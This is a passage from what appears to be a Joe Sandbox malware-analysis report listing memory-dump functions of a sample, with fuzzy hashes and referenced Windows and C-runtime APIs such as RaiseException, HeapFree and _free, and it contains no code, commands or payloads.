Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 0f1af51de5af96b730dc073be6187f45225b05d1e39be70f77c0bb50ba676d41
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 9BF14F71E002199FEF14CFA9C9806AEB7B1FF88714F25826EE915A7344D735AE01CB94

Function 021C2F77 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38f1bd2685e55997c2703fc258bc759cbf20cb8828056bff6a68c166f696af58
Instruction ID: cc331196bb86445c8008bb85b4142b5b6b4ed80e4b525c1184b5bc8d1b9e2124
Opcode Fuzzy Hash: 38f1bd2685e55997c2703fc258bc759cbf20cb8828056bff6a68c166f696af58
Instruction Fuzzy Hash: 90F13F75E402199FDF14CFA8C9806AEFBB1FF98314F2582ADD929A7344D731A941CB90

Function 00447049 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00447044,?,?,00000008,?,?,00445ECA,00000000), ref: 00447276

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 36254a7a5f10b6b788354df259e86d50cce653991a31e3785c17a1f2ceddeed1
Instruction ID: 7a8e5148774215697cf91bc212fe3b67d35b5c5a8621f41dfb32136176b2c313
Opcode Fuzzy Hash: 36254a7a5f10b6b788354df259e86d50cce653991a31e3785c17a1f2ceddeed1
Instruction Fuzzy Hash: 9CB15D31614605DFE728CF28C486B657BE0FF45365F258699E89ACF3A1C339E982CB44

Function 021C72B0 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,021C72AB,?,?,00000008,?,?,021C6131,00000000), ref: 021C74DD

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 36254a7a5f10b6b788354df259e86d50cce653991a31e3785c17a1f2ceddeed1
Instruction ID: 3b09285225e60103b1b1118c2a07a7151f83e3270d8e3101098e24ee22fa3424
Opcode Fuzzy Hash: 36254a7a5f10b6b788354df259e86d50cce653991a31e3785c17a1f2ceddeed1
Instruction Fuzzy Hash: 1DB14A396506048FD719CF28C486A65BBA4FF55368F25865CE89ACF2E1C375E982CF40

Function 0041DD91 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0041DDA7

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9aa71377ddf51d54108bd68bc2459ad0f115ceeb009950e0c4d0192850e4ba90
Instruction ID: 73b31feacec7ce9fe7b0550b3c6203be5604da4ad9e3037c20952e2b0bfc5a30
Opcode Fuzzy Hash: 9aa71377ddf51d54108bd68bc2459ad0f115ceeb009950e0c4d0192850e4ba90
Instruction Fuzzy Hash: E251B0B2D05B068BDB15CF58D8917AAB7F1FB48304F24856BC405EB350E3B8A980CF59

Function 0043DC0D Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c254cc85ab78f1b64420c7fda183827d5ac03fcf9b54031427e7e9148f272146
Instruction ID: 3d492b1ce9647cc9b8e1ba87239a284fe88898690c8d91de180f89449a84ea2b
Opcode Fuzzy Hash: c254cc85ab78f1b64420c7fda183827d5ac03fcf9b54031427e7e9148f272146
Instruction Fuzzy Hash: 2241C6B1C0421DAEDB20DF69DC89AAAB7B9EF49304F1452DEE41DD3201DA389E84CF54

Function 021BDE74 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c254cc85ab78f1b64420c7fda183827d5ac03fcf9b54031427e7e9148f272146
Instruction ID: bec4704a61f0a166982d65d4dd4ca8a597df46f3e492a0823bae9e66f01ee0ba
Opcode Fuzzy Hash: c254cc85ab78f1b64420c7fda183827d5ac03fcf9b54031427e7e9148f272146
Instruction Fuzzy Hash: 8941D0B5844219AEDB25DF79CC88AEABBB9EF45300F1442EDE40DD3210DB359E818F10

Function 0041CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0041CBAA

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 20c4ea3e2129b60a1e4d1eea87152ba57400039f21031a1d2e21638d1c4937de
Instruction ID: 734eec717fe04ada3b4bcf7b1b1ccceb46d859c39f6a646686bea7d52c1b0365
Opcode Fuzzy Hash: 20c4ea3e2129b60a1e4d1eea87152ba57400039f21031a1d2e21638d1c4937de
Instruction Fuzzy Hash: DFB09236A1B93047CA512B14BC4859E7714AA80B1270A01A6E805A72348A54AD828BDD

Function 0041DD0A Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001DD16,0041D755), ref: 0041DD0F

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 43c617bf8b0786d196ab8e975300d48b22b3ddc598e3c16071a78d30c9f3b4c1
Instruction ID: acbc3c9ff04c2f6a81d4fdca068cfbd79b9dcce843e89fee5e28ccbd35d34f0d
Opcode Fuzzy Hash: 43c617bf8b0786d196ab8e975300d48b22b3ddc598e3c16071a78d30c9f3b4c1
Instruction Fuzzy Hash:

Function 00437F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 004380B2

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: b34b47e9f09f915a8cdca993c5e9340bbf8146411caf7b554e1449dba65cbcf0
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: C15128B02087446ADB3C4A2888957BFE7AAAB1D304F14351FF4C297392CE5D9D4A925E

Function 021B819D Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 021B8319

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: ffc1c96e5826b9711f425089feadf0b79b703ef1480cc63af3cfeb768509465f
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 7D516730AC0A449EDF3B9A2C89A47FF67BEAF52E08F0B0459C442D7291CB21DE45C616

Function 00423DF1 Relevance: 1.4, Strings: 1, Instructions: 173COMMONLIBRARYCODE

Download Yara Rule

Strings

4, xrefs: 00423F8B

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 5578bbf268cf1d7a6cc11f772dbe90f91f38951ddd0f84b7ddcb6c1c960a0822
Instruction ID: d3640ea578d556721f4490aaac2cfbcd5f657f790f84d66c55eb6511df690334
Opcode Fuzzy Hash: 5578bbf268cf1d7a6cc11f772dbe90f91f38951ddd0f84b7ddcb6c1c960a0822
Instruction Fuzzy Hash: 75612C71E002259FCB18CF49E680A6EB7B1BF58715F66816ED805A7305C738EE46CF94

Function 021A4058 Relevance: 1.4, Strings: 1, Instructions: 173COMMONLIBRARYCODE

Download Yara Rule

Strings

4, xrefs: 021A41F2

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 5578bbf268cf1d7a6cc11f772dbe90f91f38951ddd0f84b7ddcb6c1c960a0822
Instruction ID: 23060c6b4a008b3e6c3813fe0b25f583b1db5b2ca6b03c3de268519ef135b1e4
Opcode Fuzzy Hash: 5578bbf268cf1d7a6cc11f772dbe90f91f38951ddd0f84b7ddcb6c1c960a0822
Instruction Fuzzy Hash: 2F6147B9E40215DFCB28CF59C591AAEB7B1BF58314F258169C815A7701C770FA82CF94

Function 00404DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca00c27e9f0dc5049bb43eb222e30ca6b7b035fc8865b45e586624c015778d4
Instruction ID: eb605be20576830f6b34c25644e00d6787cf5f33f001ef57d4ebdc8b7b80a678
Opcode Fuzzy Hash: aca00c27e9f0dc5049bb43eb222e30ca6b7b035fc8865b45e586624c015778d4
Instruction Fuzzy Hash: B0225EB3F515145BDB0CCA5DDCA27ECB2E3AFD8214B0E813DA40AE3345EA79D9158648

Function 02185047 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca00c27e9f0dc5049bb43eb222e30ca6b7b035fc8865b45e586624c015778d4
Instruction ID: eb605be20576830f6b34c25644e00d6787cf5f33f001ef57d4ebdc8b7b80a678
Opcode Fuzzy Hash: aca00c27e9f0dc5049bb43eb222e30ca6b7b035fc8865b45e586624c015778d4
Instruction Fuzzy Hash: B0225EB3F515145BDB0CCA5DDCA27ECB2E3AFD8214B0E813DA40AE3345EA79D9158648

Function 00404B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ff74d21853a1a9411e81bdca10e899a59f84e873a7064e611779bfdc9a01e76
Instruction ID: f9f22bcb052e71eb439f106f0b20dd6b4beb7377a8a8d7e69e270393853b03d6
Opcode Fuzzy Hash: 1ff74d21853a1a9411e81bdca10e899a59f84e873a7064e611779bfdc9a01e76
Instruction Fuzzy Hash: 618123B0E042459FEB15CF69D8807EEBBF1BF99300F15027AC910A7392D3789945CBA8

Function 02184D97 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ff74d21853a1a9411e81bdca10e899a59f84e873a7064e611779bfdc9a01e76
Instruction ID: e3dddbd5baf9a98f9d992086ebea7df2c35998019ccc0b16ffa1ad22538812ac
Opcode Fuzzy Hash: 1ff74d21853a1a9411e81bdca10e899a59f84e873a7064e611779bfdc9a01e76
Instruction Fuzzy Hash: 5C811F71A402468FDB15DFA8D8D0BEEBBB2FF1A304F1502A9D810A7792C7759545CBA0

Function 004478BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52dbd9b1eed41be0fe82de8a4e6ef126f6fae99cdba63995ffaced5ebaf03370
Instruction ID: be9a9c8fc00186763e8d7bb87cc8d3a0b677fa6828bf284c090cc4d7b2bb0282
Opcode Fuzzy Hash: 52dbd9b1eed41be0fe82de8a4e6ef126f6fae99cdba63995ffaced5ebaf03370
Instruction Fuzzy Hash: D121B673F2043947770CC47E8C5227DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 021C7B22 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52dbd9b1eed41be0fe82de8a4e6ef126f6fae99cdba63995ffaced5ebaf03370
Instruction ID: 67fa4ce0fcaf57ceb0842ed3480ee8f63975ecc89b7ca3d85d9dea6eab296052
Opcode Fuzzy Hash: 52dbd9b1eed41be0fe82de8a4e6ef126f6fae99cdba63995ffaced5ebaf03370
Instruction Fuzzy Hash: BF21B673F204394B770CC47ECC5227DB6E1C68C501745423AE8A6EA2C1D968D917E2E4

Function 0044779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58c8da4f76282e75a4e86e97fff01a13a6512019c1140d55cc266cde0378697
Instruction ID: f958b488d66865dd5c15af34d8bdfeb75cad4d2fb9f4de2ca6ead72c17438f02
Opcode Fuzzy Hash: a58c8da4f76282e75a4e86e97fff01a13a6512019c1140d55cc266cde0378697
Instruction Fuzzy Hash: 2411C633F30C255B775C81AD8C172BAA5D2EBD824070F433AD826E7284E9A4DE23D290

Function 021C7A02 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58c8da4f76282e75a4e86e97fff01a13a6512019c1140d55cc266cde0378697
Instruction ID: f13e610b0e1dd9eed484b3d97c145bb1b68bee8718f47c6eaef3ef52a6464fc2
Opcode Fuzzy Hash: a58c8da4f76282e75a4e86e97fff01a13a6512019c1140d55cc266cde0378697
Instruction Fuzzy Hash: 6E117323F30C255A675C81AD8C172BAA5D6EBD815071F533AD826E73C4E9A4DF13D290

Function 00448860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: e52f5ae1c551d0b315bb206a3a6972e81541c048b5448aa17bd28fef73111c1e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 75112B7720018243F6049A2DC8B45BFA795EFC63217AC437FD1414B758DA2AD945960C

Function 021C8AC7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 53cf31c73d59594898f109c074cd69a17c96dfb5e01fd8ae72063d983e856a5a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 101104FF28004147963B8A2DD8F47BBE395EAE6228B3F537ED0418B758D322E145D600

Function 0052CC33 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353337149.000000000052C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0052C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52c000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2efc883795b3c0ec36e44a428e3269ca7a61f186585f75efc177d169fc0189ec
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 92119A72340110AFD704CF55EC81EAA7BEAFF9A320B2981A5E908DB342E675EC01C760

Function 02180D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: d67b9e7fab7520545b681291c8a6805b0b5d10f613be528371692bcb0754d33a
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 4D01F7726506088FDF21DF20C855BAB33E5FB89305F1541A4D90697241E370A8458F80

Function 0043A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 18748302d0d64b74df810d503f589c32a7cabfcbb23ff82dab2ad40ae5c0e835
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 51E08C72961228EBCB15DB99C90498AF3ECEB4DB08F65109BF901D3250C274DE00C7D4

Function 021BA569 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: c1feb8dc06a525f54c17e96f181aaa2a419faf9fa8b1fc63aa488a33c91edf40
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: F0E04672956228EBCB16DB98890498AB3FDEF49B04B1544A6F502D7110C370DF00CBD0

Function 0041F028 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041F2BB

Strings

pEvents, xrefs: 0041F2B3

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 6fac62366cbd6f5e6cb8ab906c87716b022ac4ce341200765e397ba53b1eaef3
Instruction ID: 66998cc49b15140c198e060e127dcf308e046c772bddf22695f73d3154dbb627
Opcode Fuzzy Hash: 6fac62366cbd6f5e6cb8ab906c87716b022ac4ce341200765e397ba53b1eaef3
Instruction Fuzzy Hash: 0D819F35D00218DBCF14DFA5C981BEEB7B1AF54314F14406AE801A7282D77DAD8ACB59

Function 0043F35F Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0043F3A3

Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EF59
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EF6B
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EF7D
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EF8F
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EFA1
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EFB3
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EFC5
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EFD7
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EFE9
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043EFFB
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043F00D
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043F01F
Part of subcall function 0043EF3C: _free.LIBCMT ref: 0043F031

_free.LIBCMT ref: 0043F398

Part of subcall function 0043ADF5: HeapFree.KERNEL32(00000000,00000000,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?), ref: 0043AE0B
Part of subcall function 0043ADF5: GetLastError.KERNEL32(?,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?,?), ref: 0043AE1D

_free.LIBCMT ref: 0043F3BA
_free.LIBCMT ref: 0043F3CF
_free.LIBCMT ref: 0043F3DA
_free.LIBCMT ref: 0043F3FC
_free.LIBCMT ref: 0043F40F
_free.LIBCMT ref: 0043F41D
_free.LIBCMT ref: 0043F428
_free.LIBCMT ref: 0043F460
_free.LIBCMT ref: 0043F467
_free.LIBCMT ref: 0043F484
_free.LIBCMT ref: 0043F49C

Strings

`'F, xrefs: 0043F375
8"F, xrefs: 0043F44B

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8"F$`'F
API String ID: 161543041-3117062166
Opcode ID: 922a2dd1448a5ec672de729c29137a8fc27b2943f4b4aaf69956ccaefb2f6592
Instruction ID: 543839021cf0bf63342fab8d7291383f9c2b30be018e8c543b9015e977d3828c
